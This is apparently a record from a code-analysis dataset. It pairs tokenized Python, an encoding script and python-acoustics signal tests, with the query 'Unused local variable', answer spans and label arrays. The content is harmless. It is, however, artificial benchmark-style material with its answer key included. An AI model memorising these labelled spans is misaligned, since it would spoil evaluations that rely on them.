"ascii_", "=_", "False_", ",_", "encoding_", "=_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "de_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "._", "buffer_", "._", "write_", "(_", "b_", ")_", "#", " ", "will", " ", "write", " ", "proper", " ", "unicode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "'", "test", "2u", "nico", "de", "\\u", "out", ".", "json", "'_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "'", "test", "2u", "nico", "de", "\\u", "out", ".", "json", "'_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "write_", "(_", "de_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Process", "ing", " ", "input", " ", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "input_", "(_", "'", "Inp", "ut", " ", "string", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "raw", "\\u", "input_", "(_", "'", "Inp", "ut", " ", "string", ":", " ", "'_", ")_", "._", "decode_", "(_", "sys_", "._", "stdin_", "._", "encoding_", ")_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b1_", "=_", "s_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", "b1", "=", "s", ".", "encode", "(", "sys", ".", "std", "in", ".", "encoding", ")_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "stdout_", "._", "buffer_", "._", "write_", "(_", "b1_", ")_", "#", " ", "will", " ", "write", " ", "proper", " ", "unicode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "buffer_", "._", "write_", "(_", "b", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "'", "test", "2in", "put", ".", "txt", "'_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "s_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "'", "test", "2in", "put", ".", "txt", "'_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "close_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
python-acoustics/python-acoustics/tests/test__signal.py
[ { "content": " def test_samples(self, signal):\n x = signal.samples", "metadata": "root.TestSignal.test_samples", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 40 }, { "content": " def test_channels(self, signal):\n x = signal.channels", "metadata": "root.TestSignal.test_channels", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 71 }, { "content": " def test_duration(self, signal):\n x = signal.duration", "metadata": "root.TestSignal.test_duration", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 74 }, { "content": " def test_pick(self, signal):\n x = signal.pick(signal.duration*0.1, signal.duration*0.6)", "metadata": "root.TestSignal.test_pick", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 94 }, { "content": " def test_times(self, signal):\n times = signal.times()", "metadata": "root.TestSignal.test_times", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 98 }, { "content": " def test_energy(self, signal):\n energy = signal.energy()", "metadata": "root.TestSignal.test_energy", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 102 }, { "content": " def test_power(self, signal):\n power = signal.power()", "metadata": "root.TestSignal.test_power", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 106 }, { "content": " def test_ms(self, signal):\n ms = signal.ms()", "metadata": "root.TestSignal.test_ms", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 110 }, { "content": " def test_rms(self, signal):\n rms = signal.rms()", "metadata": "root.TestSignal.test_rms", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 114 }, { "content": " def test_amplitude_envelope(self, signal):\n x = signal.amplitude_envelope()", "metadata": "root.TestSignal.test_amplitude_envelope", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 126 }, { "content": " def test_instantaneous_frequency(self, signal):\n x = signal.instantaneous_frequency()", "metadata": "root.TestSignal.test_instantaneous_frequency", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 130 }, { "content": " def test_instantaneous_phase(self, signal):\n x = signal.instantaneous_phase()", "metadata": "root.TestSignal.test_instantaneous_phase", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 134 }, { "content": " def test_detrend(self, signal):\n x = signal.detrend()", "metadata": "root.TestSignal.test_detrend", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 138 }, { "content": " def test_unwrap(self, signal):\n x = signal.unwrap()", "metadata": "root.TestSignal.test_unwrap", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 142 }, { "content": " def test_complex_cepstrum(self, signal):\n t, c, d = signal.complex_cepstrum()", "metadata": "root.TestSignal.test_complex_cepstrum", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 146 }, { "content": " def test_real_cepstrum(self, signal):\n t, c = signal.real_cepstrum()", "metadata": "root.TestSignal.test_real_cepstrum", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 150 }, { "content": " def test_power_spectrum(self, signal):\n freq, power = signal.power_spectrum()", "metadata": "root.TestSignal.test_power_spectrum", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 154 }, { "content": " def test_phase_spectrum(self, signal):\n freq, phase = signal.phase_spectrum()", "metadata": "root.TestSignal.test_phase_spectrum", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 158 }, { "content": " def test_octaves(self, signal):\n \n freq, octaves = signal.octaves()", "metadata": "root.TestSignal.test_octaves", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 179 }, { "content": " def test_levels(self, signal):\n\n times, levels = signal.levels()", "metadata": "root.TestSignal.test_levels", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 184 }, { "content": " def test_bandpass(self, signal):\n x = signal.bandpass(1000.0, 2000.0)", "metadata": "root.TestSignal.test_bandpass", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 197 }, { "content": " def test_bandstop(self, signal):\n x = signal.bandstop(1000.0, 2000.0)", "metadata": "root.TestSignal.test_bandstop", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 200 }, { "content": " def test_highpass(self, signal):\n x = signal.highpass(1000.0)", "metadata": "root.TestSignal.test_highpass", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 203 }, { "content": " def test_lowpass(self, signal):\n x = signal.lowpass(1000.0)", "metadata": "root.TestSignal.test_lowpass", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 206 }, { "content": " def test_octavepass(self, signal):\n x = signal.octavepass(1000.0, fraction=6)", "metadata": "root.TestSignal.test_octavepass", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 209 }, { "content": " def test_bandpass_frequencies(self, signal):\n f = EqualBand(center=[100.,200.,300.], bandwidth=20.)\n f, x = signal.bandpass_frequencies(f)", "metadata": "root.TestSignal.test_bandpass_frequencies", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 212 }, { "content": " def test_bandpass_octaves(self, signal):\n f, x = signal.octaves()", "metadata": "root.TestSignal.test_bandpass_octaves", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 216 }, { "content": " def test_bandpass_third_octaves(self, signal):\n f, x = signal.third_octaves()", "metadata": "root.TestSignal.test_bandpass_third_octaves", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 219 }, { "content": " def test_bandpass_fractional_octaves(self, signal):\n f, x = signal.fractional_octaves()", "metadata": "root.TestSignal.test_bandpass_fractional_octaves", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 222 }, { "content": " def test_weigh(self, signal):\n s = signal.weigh()\n s = signal.weigh('C')\n s = signal.weigh('A', zero_phase=True)", "metadata": "root.TestSignal.test_weigh", "header": "['class', 'TestSignal', '(', ')', ':', '___NEWLINE___', '___NL___', '___NL___', '# (channels, samples, sample rate)', '___NL___', '___EOS___']", "index": 225 } ]
[ { "span": "x ", "start_line": 41, "start_column": 8, "end_line": 41, "end_column": 9 }, { "span": "x ", "start_line": 72, "start_column": 8, "end_line": 72, "end_column": 9 }, { "span": "x ", "start_line": 75, "start_column": 8, "end_line": 75, "end_column": 9 }, { "span": "x ", "start_line": 95, "start_column": 8, "end_line": 95, "end_column": 9 }, { "span": "times ", "start_line": 99, "start_column": 8, "end_line": 99, "end_column": 13 }, { "span": "energy ", "start_line": 103, "start_column": 8, "end_line": 103, "end_column": 14 }, { "span": "power ", "start_line": 107, "start_column": 8, "end_line": 107, "end_column": 13 }, { "span": "ms ", "start_line": 111, "start_column": 8, "end_line": 111, "end_column": 10 }, { "span": "rms ", "start_line": 115, "start_column": 8, "end_line": 115, "end_column": 11 }, { "span": "x ", "start_line": 127, "start_column": 8, "end_line": 127, "end_column": 9 }, { "span": "x ", "start_line": 131, "start_column": 8, "end_line": 131, "end_column": 9 }, { "span": "x ", "start_line": 135, "start_column": 8, "end_line": 135, "end_column": 9 }, { "span": "x ", "start_line": 139, "start_column": 8, "end_line": 139, "end_column": 9 }, { "span": "x ", "start_line": 143, "start_column": 8, "end_line": 143, "end_column": 9 }, { "span": "t,", "start_line": 147, "start_column": 8, "end_line": 147, "end_column": 9 }, { "span": "c,", "start_line": 147, "start_column": 11, "end_line": 147, "end_column": 12 }, { "span": "d ", "start_line": 147, "start_column": 14, "end_line": 147, "end_column": 15 }, { "span": "t,", "start_line": 151, "start_column": 8, "end_line": 151, "end_column": 9 }, { "span": "c ", "start_line": 151, "start_column": 11, "end_line": 151, "end_column": 12 }, { "span": "freq,", "start_line": 155, "start_column": 8, "end_line": 155, "end_column": 12 }, { "span": "power ", "start_line": 155, "start_column": 14, "end_line": 155, "end_column": 19 }, { "span": "freq,", "start_line": 159, "start_column": 8, "end_line": 159, "end_column": 12 }, { "span": "phase ", "start_line": 159, "start_column": 14, "end_line": 159, "end_column": 19 }, { "span": "freq,", "start_line": 181, "start_column": 8, "end_line": 181, "end_column": 12 }, { "span": "octaves ", "start_line": 181, "start_column": 14, "end_line": 181, "end_column": 21 }, { "span": "times,", "start_line": 186, "start_column": 8, "end_line": 186, "end_column": 13 }, { "span": "levels ", "start_line": 186, "start_column": 15, "end_line": 186, "end_column": 21 }, { "span": "x ", "start_line": 198, "start_column": 8, "end_line": 198, "end_column": 9 }, { "span": "x ", "start_line": 201, "start_column": 8, "end_line": 201, "end_column": 9 }, { "span": "x ", "start_line": 204, "start_column": 8, "end_line": 204, "end_column": 9 }, { "span": "x ", "start_line": 207, "start_column": 8, "end_line": 207, "end_column": 9 }, { "span": "x ", "start_line": 210, "start_column": 8, "end_line": 210, "end_column": 9 }, { "span": "f,", "start_line": 214, "start_column": 8, "end_line": 214, "end_column": 9 }, { "span": "x ", "start_line": 214, "start_column": 11, "end_line": 214, "end_column": 12 }, { "span": "f,", "start_line": 217, "start_column": 8, "end_line": 217, "end_column": 9 }, { "span": "x ", "start_line": 217, "start_column": 11, "end_line": 217, "end_column": 12 }, { "span": "f,", "start_line": 220, "start_column": 8, "end_line": 220, "end_column": 9 }, { "span": "x ", "start_line": 220, "start_column": 11, "end_line": 220, "end_column": 12 }, { "span": "f,", "start_line": 223, "start_column": 8, "end_line": 223, "end_column": 9 }, { "span": "x ", "start_line": 223, "start_column": 11, "end_line": 223, "end_column": 12 }, { "span": "s ", "start_line": 228, "start_column": 8, "end_line": 228, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "samples_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "samples_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "channels_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "channels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "duration_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "duration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "pick_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "pick_", "(_", "signal_", "._", "duration_", "*_", "0.1_", ",_", "signal_", "._", "duration_", "*_", "0.6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "times_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "times_", "=_", "signal_", "._", "times_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "energy_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "energy_", "=_", "signal_", "._", "energy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "power_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "power_", "=_", "signal_", "._", "power_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ms_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ms_", "=_", "signal_", "._", "ms_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "rms_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rms_", "=_", "signal_", "._", "rms_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "amplitude", "\\u", "envelope_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "amplitude", "\\u", "envelope_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "instant", "ane", "ous", "\\u", "frequency_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "instant", "ane", "ous", "\\u", "frequency_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "instant", "ane", "ous", "\\u", "phase_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "instant", "ane", "ous", "\\u", "phase_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 